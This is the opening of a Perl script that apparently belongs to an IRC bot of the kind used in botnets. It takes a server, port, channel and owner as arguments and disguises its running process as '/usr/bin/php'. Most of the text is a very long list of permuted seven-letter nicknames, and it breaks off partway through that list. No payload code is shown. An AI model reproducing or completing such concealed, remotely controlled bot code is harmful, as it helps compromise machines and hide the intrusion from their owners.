#!/usr/bin/perl ###################### my $server = $ARGV[0]; my $port = $ARGV[1]; my $channel = "#$ARGV[2]"; my $owner = $ARGV[3]; my $procname = "/usr/bin/php/usr/bin/php"; ###################### my @nickname = ( "abcdefg", "abcdegf", "abcdfeg", "abcdfge", "abcdgef", "abcdgfe", "abcedfg", "abcedgf", "abcefdg", "abcefgd", "abcegdf", "abcegfd", "abcfdeg", "abcfdge", "abcfedg", "abcfegd", "abcfgde", "abcfged", "abcgdef", "abcgdfe", "abcgedf", "abcgefd", "abcgfde", "abcgfed", "abdcefg", "abdcegf", "abdcfeg", "abdcfge", "abdcgef", "abdcgfe", "abdecfg", "abdecgf", "abdefcg", "abdefgc", "abdegcf", "abdegfc", "abdfceg", "abdfcge", "abdfecg", "abdfegc", "abdfgce", "abdfgec", "abdgcef", "abdgcfe", "abdgecf", "abdgefc", "abdgfce", "abdgfec", "abecdfg", "abecdgf", "abecfdg", "abecfgd", "abecgdf", "abecgfd", "abedcfg", "abedcgf", "abedfcg", "abedfgc", "abedgcf", "abedgfc", "abefcdg", "abefcgd", "abefdcg", "abefdgc", "abefgcd", "abefgdc", "abegcdf", "abegcfd", "abegdcf", "abegdfc", "abegfcd", "abegfdc", "abfcdeg", "abfcdge", "abfcedg", "abfcegd", "abfcgde", "abfcged", "abfdceg", "abfdcge", "abfdecg", "abfdegc", "abfdgce", "abfdgec", "abfecdg", "abfecgd", "abfedcg", "abfedgc", "abfegcd", "abfegdc", "abfgcde", "abfgced", "abfgdce", "abfgdec", "abfgecd", "abfgedc", "abgcdef", "abgcdfe", "abgcedf", "abgcefd", "abgcfde", "abgcfed", "abgdcef", "abgdcfe", "abgdecf", "abgdefc", "abgdfce", "abgdfec", "abgecdf", "abgecfd", "abgedcf", "abgedfc", "abgefcd", "abgefdc", "abgfcde", "abgfced", "abgfdce", "abgfdec", "abgfecd", "abgfedc", "acbdefg", "acbdegf", "acbdfeg", "acbdfge", "acbdgef", "acbdgfe", "acbedfg", "acbedgf", "acbefdg", "acbefgd", "acbegdf", "acbegfd", "acbfdeg", "acbfdge", "acbfedg", "acbfegd", "acbfgde", "acbfged", "acbgdef", "acbgdfe", "acbgedf", "acbgefd", "acbgfde", "acbgfed", "acdbefg", "acdbegf", "acdbfeg", "acdbfge", "acdbgef", "acdbgfe", "acdebfg", "acdebgf", "acdefbg", "acdefgb", "acdegbf", "acdegfb", "acdfbeg", "acdfbge", "acdfebg", "acdfegb", "acdfgbe", "acdfgeb", "acdgbef", "acdgbfe", "acdgebf", "acdgefb", "acdgfbe", "acdgfeb", "acebdfg", "acebdgf", "acebfdg", "acebfgd", "acebgdf", "acebgfd", "acedbfg", "acedbgf", "acedfbg", "acedfgb", "acedgbf", "acedgfb", "acefbdg", "acefbgd", "acefdbg", "acefdgb", "acefgbd", "acefgdb", "acegbdf", "acegbfd", "acegdbf", "acegdfb", "acegfbd", "acegfdb", "acfbdeg", "acfbdge", "acfbedg", "acfbegd", "acfbgde", "acfbged", "acfdbeg", "acfdbge", "acfdebg", "acfdegb", "acfdgbe", "acfdgeb", "acfebdg", "acfebgd", "acfedbg", "acfedgb", "acfegbd", "acfegdb", "acfgbde", "acfgbed", "acfgdbe", "acfgdeb", "acfgebd", "acfgedb", "acgbdef", "acgbdfe", "acgbedf", "acgbefd", "acgbfde", "acgbfed", "acgdbef", "acgdbfe", "acgdebf", "acgdefb", "acgdfbe", "acgdfeb", "acgebdf", "acgebfd", "acgedbf", "acgedfb", "acgefbd", "acgefdb", "acgfbde", "acgfbed", "acgfdbe", "acgfdeb", "acgfebd", "acgfedb", "adbcefg", "adbcegf", "adbcfeg", "adbcfge", "adbcgef", "adbcgfe", "adbecfg", "adbecgf", "adbefcg", "adbefgc", "adbegcf", "adbegfc", "adbfceg", "adbfcge", "adbfecg", "adbfegc", "adbfgce", "adbfgec", "adbgcef", "adbgcfe", "adbgecf", "adbgefc", "adbgfce", "adbgfec", "adcbefg", "adcbegf", "adcbfeg", "adcbfge", "adcbgef", "adcbgfe", "adcebfg", "adcebgf", "adcefbg", "adcefgb", "adcegbf", "adcegfb", "adcfbeg", "adcfbge", "adcfebg", "adcfegb", "adcfgbe", "adcfgeb", "adcgbef", "adcgbfe", "adcgebf", "adcgefb", "adcgfbe", "adcgfeb", "adebcfg", "adebcgf", "adebfcg", "adebfgc", "adebgcf", "adebgfc", "adecbfg", "adecbgf", "adecfbg", "adecfgb", "adecgbf", "adecgfb", "adefbcg", "adefbgc", "adefcbg", "adefcgb", "adefgbc", "adefgcb", "adegbcf", "adegbfc", "adegcbf", "adegcfb", "adegfbc", "adegfcb", "adfbceg", "adfbcge", "adfbecg", "adfbegc", "adfbgce", "adfbgec", "adfcbeg", "adfcbge", "adfcebg", "adfcegb", "adfcgbe", "adfcgeb", "adfebcg", "adfebgc", "adfecbg", "adfecgb", "adfegbc", "adfegcb", "adfgbce", "adfgbec", "adfgcbe", "adfgceb", "adfgebc", "adfgecb", "adgbcef", "adgbcfe", "adgbecf", "adgbefc", "adgbfce", "adgbfec", "adgcbef", "adgcbfe", "adgcebf", "adgcefb", "adgcfbe", "adgcfeb", "adgebcf", "adgebfc", "adgecbf", "adgecfb", "adgefbc", "adgefcb", "adgfbce", "adgfbec", "adgfcbe", "adgfceb", "adgfebc", "adgfecb", "aebcdfg", "aebcdgf", "aebcfdg", "aebcfgd", "aebcgdf", "aebcgfd", "aebdcfg", "aebdcgf", "aebdfcg", "aebdfgc", "aebdgcf", "aebdgfc", "aebfcdg", "aebfcgd", "aebfdcg", "aebfdgc", "aebfgcd", "aebfgdc", "aebgcdf", "aebgcfd", "aebgdcf", "aebgdfc", "aebgfcd", "aebgfdc", "aecbdfg", "aecbdgf", "aecbfdg", "aecbfgd", "aecbgdf", "aecbgfd", "aecdbfg", "aecdbgf", "aecdfbg", "aecdfgb", "aecdgbf", "aecdgfb", "aecfbdg", "aecfbgd", "aecfdbg", "aecfdgb", "aecfgbd", "aecfgdb", "aecgbdf", "aecgbfd", "aecgdbf", "aecgdfb", "aecgfbd", "aecgfdb", "aedbcfg", "aedbcgf", "aedbfcg", "aedbfgc", "aedbgcf", "aedbgfc", "aedcbfg", "aedcbgf", "aedcfbg", "aedcfgb", "aedcgbf", "aedcgfb", "aedfbcg", "aedfbgc", "aedfcbg", "aedfcgb", "aedfgbc", "aedfgcb", "aedgbcf", "aedgbfc", "aedgcbf", "aedgcfb", "aedgfbc", "aedgfcb", "aefbcdg", "aefbcgd", "aefbdcg", "aefbdgc", "aefbgcd", "aefbgdc", "aefcbdg", "aefcbgd", "aefcdbg", "aefcdgb", "aefcgbd", "aefcgdb", "aefdbcg", "aefdbgc", "aefdcbg", "aefdcgb", "aefdgbc", "aefdgcb", "aefgbcd", "aefgbdc", "aefgcbd", "aefgcdb", "aefgdbc", "aefgdcb", "aegbcdf", "aegbcfd", "aegbdcf", "aegbdfc", "aegbfcd", "aegbfdc", "aegcbdf", "aegcbfd", "aegcdbf", "aegcdfb", "aegcfbd", "aegcfdb", "aegdbcf", "aegdbfc", "aegdcbf", "aegdcfb", "aegdfbc", "aegdfcb", "aegfbcd", "aegfbdc", "aegfcbd", "aegfcdb", "aegfdbc", "aegfdcb", "afbcdeg", "afbcdge", "afbcedg", "afbcegd", "afbcgde", "afbcged", "afbdceg", "afbdcge", "afbdecg", "afbdegc", "afbdgce", "afbdgec", "afbecdg", "afbecgd", "afbedcg", "afbedgc", "afbegcd", "afbegdc", "afbgcde", "afbgced", "afbgdce", "afbgdec", "afbgecd", "afbgedc", "afcbdeg", "afcbdge", "afcbedg", "afcbegd", "afcbgde", "afcbged", "afcdbeg", "afcdbge", "afcdebg", "afcdegb", "afcdgbe", "afcdgeb", "afcebdg", "afcebgd", "afcedbg", "afcedgb", "afcegbd", "afcegdb", "afcgbde", "afcgbed", "afcgdbe", "afcgdeb", "afcgebd", "afcgedb", "afdbceg", "afdbcge", "afdbecg", "afdbegc", "afdbgce", "afdbgec", "afdcbeg", "afdcbge", "afdcebg", "afdcegb", "afdcgbe", "afdcgeb", "afdebcg", "afdebgc", "afdecbg", "afdecgb", "afdegbc", "afdegcb", "afdgbce", "afdgbec", "afdgcbe", "afdgceb", "afdgebc", "afdgecb", "afebcdg", "afebcgd", "afebdcg", "afebdgc", "afebgcd", "afebgdc", "afecbdg", "afecbgd", "afecdbg", "afecdgb", "afecgbd", "afecgdb", "afedbcg", "afedbgc", "afedcbg", "afedcgb", "afedgbc", "afedgcb", "afegbcd", "afegbdc", "afegcbd", "afegcdb", "afegdbc", "afegdcb", "afgbcde", "afgbced", "afgbdce", "afgbdec", "afgbecd", "afgbedc", "afgcbde", "afgcbed", "afgcdbe", "afgcdeb", "afgcebd", "afgcedb", "afgdbce", "afgdbec", "afgdcbe", "afgdceb", "afgdebc", "afgdecb", "afgebcd", "afgebdc", "afgecbd", "afgecdb", "afgedbc", "afgedcb", "agbcdef", "agbcdfe", "agbcedf", "agbcefd", "agbcfde", "agbcfed", "agbdcef", "agbdcfe", "agbdecf", "agbdefc", "agbdfce", "agbdfec", "agbecdf", "agbecfd", "agbedcf", "agbedfc", "agbefcd", "agbefdc", "agbfcde", "agbfced", "agbfdce", "agbfdec", "agbfecd", "agbfedc", "agcbdef", "agcbdfe", "agcbedf", "agcbefd", "agcbfde", "agcbfed", "agcdbef", "agcdbfe", "agcdebf", "agcdefb", "agcdfbe", "agcdfeb", "agcebdf", "agcebfd", "agcedbf", "agcedfb", "agcefbd", "agcefdb", "agcfbde", "agcfbed", "agcfdbe", "agcfdeb", "agcfebd", "agcfedb", "agdbcef", "agdbcfe", "agdbecf", "agdbefc", "agdbfce", "agdbfec", "agdcbef", "agdcbfe", "agdcebf", "agdcefb", "agdcfbe", "agdcfeb", "agdebcf", "agdebfc", "agdecbf", "agdecfb", "agdefbc", "agdefcb", "agdfbce", "agdfbec", "agdfcbe", "agdfceb", "agdfebc", "agdfecb", "agebcdf", "agebcfd", "agebdcf", "agebdfc", "agebfcd", "agebfdc", "agecbdf", "agecbfd", "agecdbf", "agecdfb", "agecfbd", "agecfdb", "agedbcf", "agedbfc", "agedcbf", "agedcfb", "agedfbc", "agedfcb", "agefbcd", "agefbdc", "agefcbd", "agefcdb", "agefdbc", "agefdcb", "agfbcde", "agfbced", "agfbdce", "agfbdec", "agfbecd", "agfbedc", "agfcbde", "agfcbed", "agfcdbe", "agfcdeb", "agfcebd", "agfcedb", "agfdbce", "agfdbec", "agfdcbe", "agfdceb", "agfdebc", "agfdecb", "agfebcd", "agfebdc", "agfecbd", "agfecdb", "agfedbc", "agfedcb", "bacdefg", "bacdegf", "bacdfeg", "bacdfge", "bacdgef", "bacdgfe", "bacedfg", "bacedgf", "bacefdg", "bacefgd", "bacegdf", "bacegfd", "bacfdeg", "bacfdge", "bacfedg", "bacfegd", "bacfgde", "bacfged", "bacgdef", "bacgdfe", "bacgedf", "bacgefd", "bacgfde", "bacgfed", "badcefg", "badcegf", "badcfeg", "badcfge", "badcgef", "badcgfe", "badecfg", "badecgf", "badefcg", "badefgc", "badegcf", "badegfc", "badfceg", "badfcge", "badfecg", "badfegc", "badfgce", "badfgec", "badgcef", "badgcfe", "badgecf", "badgefc", "badgfce", "badgfec", "baecdfg", "baecdgf", "baecfdg", "baecfgd", "baecgdf", "baecgfd", "baedcfg", "baedcgf", "baedfcg", "baedfgc", "baedgcf", "baedgfc", "baefcdg", "baefcgd", "baefdcg", "baefdgc", "baefgcd", "baefgdc", "baegcdf", "baegcfd", "baegdcf", "baegdfc", "baegfcd", "baegfdc", "bafcdeg", "bafcdge", "bafcedg", "bafcegd", "bafcgde", "bafcged", "bafdceg", "bafdcge", "bafdecg", "bafdegc", "bafdgce", "bafdgec", "bafecdg", "bafecgd", "bafedcg", "bafedgc", "bafegcd", "bafegdc", "bafgcde", "bafgced", "bafgdce", "bafgdec", "bafgecd", "bafgedc", "bagcdef", "bagcdfe", "bagcedf", "bagcefd", "bagcfde", "bagcfed", "bagdcef", "bagdcfe", "bagdecf", "bagdefc", "bagdfce", "bagdfec", "bagecdf", "bagecfd", "bagedcf", "bagedfc", "bagefcd", "bagefdc", "bagfcde", "bagfced", "bagfdce", "bagfdec", "bagfecd", "bagfedc", "bcadefg", "bcadegf", "bcadfeg", "bcadfge", "bcadgef", "bcadgfe", "bcaedfg", "bcaedgf", "bcaefdg", "bcaefgd", "bcaegdf", "bcaegfd", "bcafdeg", "bcafdge", "bcafedg", "bcafegd", "bcafgde", "bcafged", "bcagdef", "bcagdfe", "bcagedf", "bcagefd", "bcagfde", "bcagfed", "bcdaefg", "bcdaegf", "bcdafeg", "bcdafge", "bcdagef", "bcdagfe", "bcdeafg", "bcdeagf", "bcdefag", "bcdefga", "bcdegaf", "bcdegfa", "bcdfaeg", "bcdfage", "bcdfeag", "bcdfega", "bcdfgae", "bcdfgea", "bcdgaef", "bcdgafe", "bcdgeaf", "bcdgefa", "bcdgfae", "bcdgfea", "bceadfg", "bceadgf", "bceafdg", "bceafgd", "bceagdf", "bceagfd", "bcedafg", "bcedagf", "bcedfag", "bcedfga", "bcedgaf", "bcedgfa", "bcefadg", "bcefagd", "bcefdag", "bcefdga", "bcefgad", "bcefgda", "bcegadf", "bcegafd", "bcegdaf", "bcegdfa", "bcegfad", "bcegfda", "bcfadeg", "bcfadge", "bcfaedg", "bcfaegd", "bcfagde", "bcfaged", "bcfdaeg", "bcfdage", "bcfdeag", "bcfdega", "bcfdgae", "bcfdgea", "bcfeadg", "bcfeagd", "bcfedag", "bcfedga", "bcfegad", "bcfegda", "bcfgade", "bcfgaed", "bcfgdae", "bcfgdea", "bcfgead", "bcfgeda", "bcgadef", "bcgadfe", "bcgaedf", "bcgaefd", "bcgafde", "bcgafed", "bcgdaef", "bcgdafe", "bcgdeaf", "bcgdefa", "bcgdfae", "bcgdfea", "bcgeadf", "bcgeafd", "bcgedaf", "bcgedfa", "bcgefad", "bcgefda", "bcgfade", "bcgfaed", "bcgfdae", "bcgfdea", "bcgfead", "bcgfeda", "bdacefg", "bdacegf", "bdacfeg", "bdacfge", "bdacgef", "bdacgfe", "bdaecfg", "bdaecgf", "bdaefcg", "bdaefgc", "bdaegcf", "bdaegfc", "bdafceg", "bdafcge", "bdafecg", "bdafegc", "bdafgce", "bdafgec", "bdagcef", "bdagcfe", "bdagecf", "bdagefc", "bdagfce", "bdagfec", "bdcaefg", "bdcaegf", "bdcafeg", "bdcafge", "bdcagef", "bdcagfe", "bdceafg", "bdceagf", "bdcefag", "bdcefga", "bdcegaf", "bdcegfa", "bdcfaeg", "bdcfage", "bdcfeag", "bdcfega", "bdcfgae", "bdcfgea", "bdcgaef", "bdcgafe", "bdcgeaf", "bdcgefa", "bdcgfae", "bdcgfea", "bdeacfg", "bdeacgf", "bdeafcg", "bdeafgc", "bdeagcf", "bdeagfc", "bdecafg", "bdecagf", "bdecfag", "bdecfga", "bdecgaf", "bdecgfa", "bdefacg", "bdefagc", "bdefcag", "bdefcga", "bdefgac", "bdefgca", "bdegacf", "bdegafc", "bdegcaf", "bdegcfa", "bdegfac", "bdegfca", "bdfaceg", "bdfacge", "bdfaecg", "bdfaegc", "bdfagce", "bdfagec", "bdfcaeg", "bdfcage", "bdfceag", "bdfcega", "bdfcgae", "bdfcgea", "bdfeacg", "bdfeagc", "bdfecag", "bdfecga", "bdfegac", "bdfegca", "bdfgace", "bdfgaec", "bdfgcae", "bdfgcea", "bdfgeac", "bdfgeca", "bdgacef", "bdgacfe", "bdgaecf", "bdgaefc", "bdgafce", "bdgafec", "bdgcaef", "bdgcafe", "bdgceaf", "bdgcefa", "bdgcfae", "bdgcfea", "bdgeacf", "bdgeafc", "bdgecaf", "bdgecfa", "bdgefac", "bdgefca", "bdgface", "bdgfaec", "bdgfcae", "bdgfcea", "bdgfeac", "bdgfeca", "beacdfg", "beacdgf", "beacfdg", "beacfgd", "beacgdf", "beacgfd", "beadcfg", "beadcgf", "beadfcg", "beadfgc", "beadgcf", "beadgfc", "beafcdg", "beafcgd", "beafdcg", "beafdgc", "beafgcd", "beafgdc", "beagcdf", "beagcfd", "beagdcf", "beagdfc", "beagfcd", "beagfdc", "becadfg", "becadgf", "becafdg", "becafgd", "becagdf", "becagfd", "becdafg", "becdagf", "becdfag", "becdfga", "becdgaf", "becdgfa", "becfadg", "becfagd", "becfdag", "becfdga", "becfgad", "becfgda", "becgadf", "becgafd", "becgdaf", "becgdfa", "becgfad", "becgfda", "bedacfg", "bedacgf", "bedafcg", "bedafgc", "bedagcf", "bedagfc", "bedcafg", "bedcagf", "bedcfag", "bedcfga", "bedcgaf", "bedcgfa", "bedfacg", "bedfagc", "bedfcag", "bedfcga", "bedfgac", "bedfgca", "bedgacf", "bedgafc", "bedgcaf", "bedgcfa", "bedgfac", "bedgfca", "befacdg", "befacgd", "befadcg", "befadgc", "befagcd", "befagdc", "befcadg", "befcagd", "befcdag", "befcdga", "befcgad", "befcgda", "befdacg", "befdagc", "befdcag", "befdcga", "befdgac", "befdgca", "befgacd", "befgadc", "befgcad", "befgcda", "befgdac", "befgdca", "begacdf", "begacfd", "begadcf", "begadfc", "begafcd", "begafdc", "begcadf", "begcafd", "begcdaf", "begcdfa", "begcfad", "begcfda", "begdacf", "begdafc", "begdcaf", "begdcfa", "begdfac", "begdfca", "begfacd", "begfadc", "begfcad", "begfcda", "begfdac", "begfdca", "bfacdeg", "bfacdge", "bfacedg", "bfacegd", "bfacgde", "bfacged", "bfadceg", "bfadcge", "bfadecg", "bfadegc", "bfadgce", "bfadgec", "bfaecdg", "bfaecgd", "bfaedcg", "bfaedgc", "bfaegcd", "bfaegdc", "bfagcde", "bfagced", "bfagdce", "bfagdec", "bfagecd", "bfagedc", "bfcadeg", "bfcadge", "bfcaedg", "bfcaegd", "bfcagde", "bfcaged", "bfcdaeg", "bfcdage", "bfcdeag", "bfcdega", "bfcdgae", "bfcdgea", "bfceadg", "bfceagd", "bfcedag", "bfcedga", "bfcegad", "bfcegda", "bfcgade", "bfcgaed", "bfcgdae", "bfcgdea", "bfcgead", "bfcgeda", "bfdaceg", "bfdacge", "bfdaecg", "bfdaegc", "bfdagce", "bfdagec", "bfdcaeg", "bfdcage", "bfdceag", "bfdcega", "bfdcgae", "bfdcgea", "bfdeacg", "bfdeagc", "bfdecag", "bfdecga", "bfdegac", "bfdegca", "bfdgace", "bfdgaec", "bfdgcae", "bfdgcea", "bfdgeac", "bfdgeca", "bfeacdg", "bfeacgd", "bfeadcg", "bfeadgc", "bfeagcd", "bfeagdc", "bfecadg", "bfecagd", "bfecdag", "bfecdga", "bfecgad", "bfecgda", "bfedacg", "bfedagc", "bfedcag", "bfedcga", "bfedgac", "bfedgca", "bfegacd", "bfegadc", "bfegcad", "bfegcda", "bfegdac", "bfegdca", "bfgacde", "bfgaced", "bfgadce", "bfgadec", "bfgaecd", "bfgaedc", "bfgcade", "bfgcaed", "bfgcdae", "bfgcdea", "bfgcead", "bfgceda", "bfgdace", "bfgdaec", "bfgdcae", "bfgdcea", "bfgdeac", "bfgdeca", "bfgeacd", "bfgeadc", "bfgecad", "bfgecda", "bfgedac", "bfgedca", "bgacdef", "bgacdfe", "bgacedf", "bgacefd", "bgacfde", "bgacfed", "bgadcef", "bgadcfe", "bgadecf", "bgadefc", "bgadfce", "bgadfec", "bgaecdf", "bgaecfd", "bgaedcf", "bgaedfc", "bgaefcd", "bgaefdc", "bgafcde", "bgafced", "bgafdce", "bgafdec", "bgafecd", "bgafedc", "bgcadef", "bgcadfe", "bgcaedf", "bgcaefd", "bgcafde", "bgcafed", "bgcdaef", "bgcdafe", "bgcdeaf", "bgcdefa", "bgcdfae", "bgcdfea", "bgceadf", "bgceafd", "bgcedaf", "bgcedfa", "bgcefad", "bgcefda", "bgcfade", "bgcfaed", "bgcfdae", "bgcfdea", "bgcfead", "bgcfeda", "bgdacef", "bgdacfe", "bgdaecf", "bgdaefc", "bgdafce", "bgdafec", "bgdcaef", "bgdcafe", "bgdceaf", "bgdcefa", "bgdcfae", "bgdcfea", "bgdeacf", "bgdeafc", "bgdecaf", "bgdecfa", "bgdefac", "bgdefca", "bgdface", "bgdfaec", "bgdfcae", "bgdfcea", "bgdfeac", "bgdfeca", "bgeacdf", "bgeacfd", "bgeadcf", "bgeadfc", "bgeafcd", "bgeafdc", "bgecadf", "bgecafd", "bgecdaf", "bgecdfa", "bgecfad", "bgecfda", "bgedacf", "bgedafc", "bgedcaf", "bgedcfa", "bgedfac", "bgedfca", "bgefacd", "bgefadc", "bgefcad", "bgefcda", "bgefdac", "bgefdca", "bgfacde", "bgfaced", "bgfadce", "bgfadec", "bgfaecd", "bgfaedc", "bgfcade", "bgfcaed", "bgfcdae", "bgfcdea", "bgfcead", "bgfceda", "bgfdace", "bgfdaec", "bgfdcae", "bgfdcea", "bgfdeac", "bgfdeca", "bgfeacd", "bgfeadc", "bgfecad", "bgfecda", "bgfedac", "bgfedca", "cabdefg", "cabdegf", "cabdfeg", "cabdfge", "cabdgef", "cabdgfe", "cabedfg", "cabedgf", "cabefdg", "cabefgd", "cabegdf", "cabegfd", "cabfdeg", "cabfdge", "cabfedg", "cabfegd", "cabfgde", "cabfged", "cabgdef", "cabgdfe", "cabgedf", "cabgefd", "cabgfde", "cabgfed", "cadbefg", "cadbegf", "cadbfeg", "cadbfge", "cadbgef", "cadbgfe", "cadebfg", "cadebgf", "cadefbg", "cadefgb", "cadegbf", "cadegfb", "cadfbeg", "cadfbge", "cadfebg", "cadfegb", "cadfgbe", "cadfgeb", "cadgbef", "cadgbfe", "cadgebf", "cadgefb", "cadgfbe", "cadgfeb", "caebdfg", "caebdgf", "caebfdg", "caebfgd", "caebgdf", "caebgfd", "caedbfg", "caedbgf", "caedfbg", "caedfgb", "caedgbf", "caedgfb", "caefbdg", "caefbgd", "caefdbg", "caefdgb", "caefgbd", "caefgdb", "caegbdf", "caegbfd", "caegdbf", "caegdfb", "caegfbd", "caegfdb", "cafbdeg", "cafbdge", "cafbedg", "cafbegd", "cafbgde", "cafbged", "cafdbeg", "cafdbge", "cafdebg", "cafdegb", "cafdgbe", "cafdgeb", "cafebdg", "cafebgd", "cafedbg", "cafedgb", "cafegbd", "cafegdb", "cafgbde", "cafgbed", "cafgdbe", "cafgdeb", "cafgebd", "cafgedb", "cagbdef", "cagbdfe", "cagbedf", "cagbefd", "cagbfde", "cagbfed", "cagdbef", "cagdbfe", "cagdebf", "cagdefb", "cagdfbe", "cagdfeb", "cagebdf", "cagebfd", "cagedbf", "cagedfb", "cagefbd", "cagefdb", "cagfbde", "cagfbed", "cagfdbe", "cagfdeb", "cagfebd", "cagfedb", "cbadefg", "cbadegf", "cbadfeg", "cbadfge", "cbadgef", "cbadgfe", "cbaedfg", "cbaedgf", "cbaefdg", "cbaefgd", "cbaegdf", "cbaegfd", "cbafdeg", "cbafdge", "cbafedg", "cbafegd", "cbafgde", "cbafged", "cbagdef", "cbagdfe", "cbagedf", "cbagefd", "cbagfde", "cbagfed", "cbdaefg", "cbdaegf", "cbdafeg", "cbdafge", "cbdagef", "cbdagfe", "cbdeafg", "cbdeagf", "cbdefag", "cbdefga", "cbdegaf", "cbdegfa", "cbdfaeg", "cbdfage", "cbdfeag", "cbdfega", "cbdfgae", "cbdfgea", "cbdgaef", "cbdgafe", "cbdgeaf", "cbdgefa", "cbdgfae", "cbdgfea", "cbeadfg", "cbeadgf", "cbeafdg", "cbeafgd", "cbeagdf", "cbeagfd", "cbedafg", "cbedagf", "cbedfag", "cbedfga", "cbedgaf", "cbedgfa", "cbefadg", "cbefagd", "cbefdag", "cbefdga", "cbefgad", "cbefgda", "cbegadf", "cbegafd", "cbegdaf", "cbegdfa", "cbegfad", "cbegfda", "cbfadeg", "cbfadge", "cbfaedg", "cbfaegd", "cbfagde", "cbfaged", "cbfdaeg", "cbfdage", "cbfdeag", "cbfdega", "cbfdgae", "cbfdgea", "cbfeadg", "cbfeagd", "cbfedag", "cbfedga", "cbfegad", "cbfegda", "cbfgade", "cbfgaed", "cbfgdae", "cbfgdea", "cbfgead", "cbfgeda", "cbgadef", "cbgadfe", "cbgaedf", "cbgaefd", "cbgafde", "cbgafed", "cbgdaef", "cbgdafe", "cbgdeaf", "cbgdefa", "cbgdfae", "cbgdfea", "cbgeadf", "cbgeafd", "cbgedaf", "cbgedfa", "cbgefad", "cbgefda", "cbgfade", "cbgfaed", "cbgfdae", "cbgfdea", "cbgfead", "cbgfeda", "cdabefg", "cdabegf", "cdabfeg", "cdabfge", "cdabgef", "cdabgfe", "cdaebfg", "cdaebgf", "cdaefbg", "cdaefgb", "cdaegbf", "cdaegfb", "cdafbeg", "cdafbge", "cdafebg", "cdafegb", "cdafgbe", "cdafgeb", "cdagbef", "cdagbfe", "cdagebf", "cdagefb", "cdagfbe", "cdagfeb", "cdbaefg", "cdbaegf", "cdbafeg", "cdbafge", "cdbagef", "cdbagfe", "cdbeafg", "cdbeagf", "cdbefag", "cdbefga", "cdbegaf", "cdbegfa", "cdbfaeg", "cdbfage", "cdbfeag", "cdbfega", "cdbfgae", "cdbfgea", "cdbgaef", "cdbgafe", "cdbgeaf", "cdbgefa", "cdbgfae", "cdbgfea", "cdeabfg", "cdeabgf", "cdeafbg", "cdeafgb", "cdeagbf", "cdeagfb", "cdebafg", "cdebagf", "cdebfag", "cdebfga", "cdebgaf", "cdebgfa", "cdefabg", "cdefagb", "cdefbag", "cdefbga", "cdefgab", "cdefgba", "cdegabf", "cdegafb", "cdegbaf", "cdegbfa", "cdegfab", "cdegfba", "cdfabeg", "cdfabge", "cdfaebg", "cdfaegb", "cdfagbe", "cdfageb", "cdfbaeg", "cdfbage", "cdfbeag", "cdfbega", "cdfbgae", "cdfbgea", "cdfeabg", "cdfeagb", "cdfebag", "cdfebga", "cdfegab", "cdfegba", "cdfgabe", "cdfgaeb", "cdfgbae", "cdfgbea", "cdfgeab", "cdfgeba", "cdgabef", "cdgabfe", "cdgaebf", "cdgaefb", "cdgafbe", "cdgafeb", "cdgbaef", "cdgbafe", "cdgbeaf", "cdgbefa", "cdgbfae", "cdgbfea", "cdgeabf", "cdgeafb", "cdgebaf", "cdgebfa", "cdgefab", "cdgefba", "cdgfabe", "cdgfaeb", "cdgfbae", "cdgfbea", "cdgfeab", "cdgfeba", "ceabdfg", "ceabdgf", "ceabfdg", "ceabfgd", "ceabgdf", "ceabgfd", "ceadbfg", "ceadbgf", "ceadfbg", "ceadfgb", "ceadgbf", "ceadgfb", "ceafbdg", "ceafbgd", "ceafdbg", "ceafdgb", "ceafgbd", "ceafgdb", "ceagbdf", "ceagbfd", "ceagdbf", "ceagdfb", "ceagfbd", "ceagfdb", "cebadfg", "cebadgf", "cebafdg", "cebafgd", "cebagdf", "cebagfd", "cebdafg", "cebdagf", "cebdfag", "cebdfga", "cebdgaf", "cebdgfa", "cebfadg", "cebfagd", "cebfdag", "cebfdga", "cebfgad", "cebfgda", "cebgadf", "cebgafd", "cebgdaf", "cebgdfa", "cebgfad", "cebgfda", "cedabfg", "cedabgf", "cedafbg", "cedafgb", "cedagbf", "cedagfb", "cedbafg", "cedbagf", "cedbfag", "cedbfga", "cedbgaf", "cedbgfa", "cedfabg", "cedfagb", "cedfbag", "cedfbga", "cedfgab", "cedfgba", "cedgabf", "cedgafb", "cedgbaf", "cedgbfa", "cedgfab", "cedgfba", "cefabdg", "cefabgd", "cefadbg", "cefadgb", "cefagbd", "cefagdb", "cefbadg", "cefbagd", "cefbdag", "cefbdga", "cefbgad", "cefbgda", "cefdabg", "cefdagb", "cefdbag", "cefdbga", "cefdgab", "cefdgba", "cefgabd", "cefgadb", "cefgbad", "cefgbda", "cefgdab", "cefgdba", "cegabdf", "cegabfd", "cegadbf", "cegadfb", "cegafbd", "cegafdb", "cegbadf", "cegbafd", "cegbdaf", "cegbdfa", "cegbfad", "cegbfda", "cegdabf", "cegdafb", "cegdbaf", "cegdbfa", "cegdfab", "cegdfba", "cegfabd", "cegfadb", "cegfbad", "cegfbda", "cegfdab", "cegfdba", "cfabdeg", "cfabdge", "cfabedg", "cfabegd", "cfabgde", "cfabged", "cfadbeg", "cfadbge", "cfadebg", "cfadegb", "cfadgbe", "cfadgeb", "cfaebdg", "cfaebgd", "cfaedbg", "cfaedgb", "cfaegbd", "cfaegdb", "cfagbde", "cfagbed", "cfagdbe", "cfagdeb", "cfagebd", "cfagedb", "cfbadeg", "cfbadge", "cfbaedg", "cfbaegd", "cfbagde", "cfbaged", "cfbdaeg", "cfbdage", "cfbdeag", "cfbdega", "cfbdgae", "cfbdgea", "cfbeadg", "cfbeagd", "cfbedag", "cfbedga", "cfbegad", "cfbegda", "cfbgade", "cfbgaed", "cfbgdae", "cfbgdea", "cfbgead", "cfbgeda", "cfdabeg", "cfdabge", "cfdaebg", "cfdaegb", "cfdagbe", "cfdageb", "cfdbaeg", "cfdbage", "cfdbeag", "cfdbega", "cfdbgae", "cfdbgea", "cfdeabg", "cfdeagb", "cfdebag", "cfdebga", "cfdegab", "cfdegba", "cfdgabe", "cfdgaeb", "cfdgbae", "cfdgbea", "cfdgeab", "cfdgeba", "cfeabdg", "cfeabgd", "cfeadbg", "cfeadgb", "cfeagbd", "cfeagdb", "cfebadg", "cfebagd", "cfebdag", "cfebdga", "cfebgad", "cfebgda", "cfedabg", "cfedagb", "cfedbag", "cfedbga", "cfedgab", "cfedgba", "cfegabd", "cfegadb", "cfegbad", "cfegbda", "cfegdab", "cfegdba", "cfgabde", "cfgabed", "cfgadbe", "cfgadeb", "cfgaebd", "cfgaedb", "cfgbade", "cfgbaed", "cfgbdae", "cfgbdea", "cfgbead", "cfgbeda", "cfgdabe", "cfgdaeb", "cfgdbae", "cfgdbea", "cfgdeab", "cfgdeba", "cfgeabd", "cfgeadb", 